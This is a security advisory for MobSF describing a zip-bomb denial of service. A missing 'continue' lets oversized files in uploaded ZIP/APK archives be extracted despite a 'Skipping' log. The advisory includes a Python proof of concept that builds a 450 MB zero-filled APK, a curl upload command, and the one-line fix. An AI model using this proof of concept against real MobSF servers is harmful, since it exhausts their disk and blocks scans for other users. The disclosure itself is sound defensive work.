GHSA-X768-8642-MMQ9

Vulnerability from github – Published: 2026-08-18 18:00 – Updated: 2026-08-18 18:00
VLAI
Summary
MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction
Details

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

  • This affects any user who scans a maliciously crafted APK
  • The APK could come from a legitimate-looking package submitted for security review
  • Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
  • Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE
Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T18:00:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen extracting uploaded ZIP/APK files, MobSF checks if individual files exceed `ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) and logs \"Skipping\" \u2014 but the code lacks a `continue` statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.\n\n### Verified Impact (Code Audit)\n\nThe vulnerable code path in `shared_func.py` lines 153\u2013182:\n\n```python\n# Line 156: Size check\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f\u0027File too large ({size_mb:.2f} MB). Skipping \u0027\n           f\u0027{sanitize_for_logging(file_path)}\u0027)\n    logger.warning(msg)\n    # \u2190 BUG: No \u0027continue\u0027 here! Execution falls through.\n\n# Line 161: Total size check (separate)\nif total_size \u003e settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:\n    raise Exception(msg)\n\n# Line 171-178: Permission fixing (only dirs get \u0027continue\u0027)\nif fileinfo.is_dir():\n    continue\nelse:\n    fileinfo.external_attr = ...\n\n# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES\ntry:\n    zipptr.extract(file_path, ext_path)   # \u2190 Runs regardless of size check\n```\n\nThe control flow is clear: after the size check logs \"Skipping\", no `continue` or `break` is issued. The code proceeds to line 182 which extracts the file unconditionally.\n\n### Steps to Reproduce\n\n**1.** Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):\n\n```python\n#!/usr/bin/env python3\nimport zipfile, tempfile, os\n\noutput = tempfile.mktemp(suffix=\u0027.apk\u0027)\nwith zipfile.ZipFile(output, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\u0027AndroidManifest.xml\u0027, \u0027\u003cmanifest package=\"com.poc\"/\u003e\u0027)\n    # 450 MB file (exceeds 400 MB limit) \u2014 compresses to ~KB\n    info = zipfile.ZipInfo(\u0027assets/huge.bin\u0027)\n    info.compress_type = zipfile.ZIP_DEFLATED\n    with zf.open(info, \u0027w\u0027) as f:\n        for _ in range(450):\n            f.write(b\u0027\\x00\u0027 * (1024 * 1024))  # 1 MB at a time\n\nprint(f\"Created: {output} ({os.path.getsize(output)} bytes compressed)\")\n```\n\n**2.** Upload via API:\n\n```bash\ncurl -X POST http://127.0.0.1:8000/api/v1/upload \\\n  -H \"X-Mobsf-Api-Key: YOUR_KEY\" \\\n  -F \"file=@poc.apk\"\n```\n\n**3.** Trigger scan, then verify:\n\n```bash\n# Log says \"Skipping\" but file exists on disk:\ngrep \"File too large\" ~/.MobSF/debug.log\nls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there\n```\n\n### Why This Is Not a Self-Bug\n\n- This affects any user who scans a maliciously crafted APK\n- The APK could come from a legitimate-looking package submitted for security review\n- Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected \u003c=4.3.2) \u2014 that advisory fixed the total size limit but this per-file bypass persists\n- Impact: disk exhaustion preventing further scans for other users\n\n### Remediation\n\nAdd `continue` after the size warning:\n\n```python\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f\u0027File too large ({size_mb:.2f} MB). Skipping \u0027\n           f\u0027{sanitize_for_logging(file_path)}\u0027)\n    logger.warning(msg)\n    continue  # \u2190 ADD THIS LINE\n```",
  "id": "GHSA-x768-8642-mmq9",
  "modified": "2026-08-18T18:00:47Z",
  "published": "2026-08-18T18:00:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-x768-8642-mmq9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.